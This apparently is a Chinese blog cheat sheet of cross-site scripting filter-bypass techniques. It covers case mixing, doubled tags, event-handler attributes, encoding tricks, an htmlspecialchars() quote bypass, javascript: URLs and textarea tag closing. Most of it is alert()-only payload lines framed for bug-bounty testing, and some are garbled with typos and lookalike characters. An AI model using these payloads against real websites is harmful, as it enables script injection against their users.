xss绕过

 1、大小写绕过

HTML对标签大小写不敏感,可以利用大小写混用绕过
例如:<script>改为<ScRiPt> 

2、空格回车TAB

例如:js伪协议javascript:alert('xss');可以改为java script:alert('xss');

3、双写绕过

有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签
例如:<script>改为<scr<script>ipt>
同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload
例如:<script>改为<scr<!---test--->ipt>

4、事件绕过

就是加入一些事件  此方法可绕过大部分SRC域名过滤器,它允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick

事件    描述
onclick    在用户使用鼠标左键点击对象时触发
ondblclick    用户双击对象时触发
onmousedown    用户用任何鼠标按键单击对象时触发
onmouseenter/onmouseover    用户将鼠标指针移动到对象内时触发
onmouseleave/onmouseout    用户将鼠标移出对象边界时触发
onmousemove    用户将鼠标划过对象时触发
onmouseup    用户在鼠标位于对象之上时释放鼠标按钮触发
onmousewheel    鼠标滚轮按钮旋转时触发
onpaste    用户粘贴数据以便从剪切板向文档传输数据在目标对象上时触发
onpropertychange    在对象上发生对象属性更改时触发
onkeydown    用户按下键盘按键时触发
onerror    装载文档或图像的过程中发生错误时触发
onload    加载完毕自动触发

非黑名单标签和事件
<img> 
payload:<img src=1 οnerrοr=alert("xss");>


<input>
payload: <input οnfοcus="alert('xss');"> 
         <input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件
         <input οnfοcus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件


<details>
payload: <details οntοggle="alert('xss');">
         <details open οntοggle="alert('xss');"> #使用open属性触发ontoggle事件 

    <svg>
    payload: <svg οnlοad=alert("xss");>


    <iframe>
    payload: <iframe οnlοad=alert("xss");></iframe>

<body>
payload: <body/οnlοad=alert("xss");>
 

5、编码绕过 

  js编码、base64编码、url编码、html编码

   思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)

例1:一次编码案例

#使用事件属性onerror()的原始payload: 
<img src=# onerror=alert"('yangshuang')"/>

#使用HTML_ENTITY编码后的payload:
<a src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>

例2:多次编码案例解析如下编码

#原始payload

<a herf="javascrips:alert(XSS)">  </a>
#使用unicode的UTF-16编码alert这个字符
<a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)">  </a>
#再用url编码alert的中间结果
<a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)">  </a>
#最后用html实体编码,再编码整个payload
太长了,略

6)htmlspecialchars()函数绕过:

#该函数的语法:
htmlspecialchars(string,flags,character-set,double_encode)
#可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
#预定义的字符是:      
& (和号)   成为 &amp         
" (双引号) 成为 &quot           
’ (单引号) 成为 &#039                     
< (小于)   成为 &lt                    
> (大于)   成为 &gt

过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

# 默认配置下,可使用以下语句绕过:  
q' onclick='alert(111)'

6、伪协议

实战日管理员难顶,但是你提交src的话 还是会收的

他过滤了on函数这些 肯定用不了 但是可以用伪协议

<a href="javascript:alert(1)">1</a>

<iframe src="javascript:alert(1)">

<img src="javascript:alert('xss')">    
<table background="javascript:alert('xss')"></table>

7、拆分关键字

window["al" + "ert"]

8、<textarea>标签绕过
后台在处理数据的时候echo '<textarea>'.$a."</textarea>"; 代码被放在了文本框内
那我们就可通过闭合标签绕过   </textarea><script>alert("xx")</script><textarea>

                                     

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值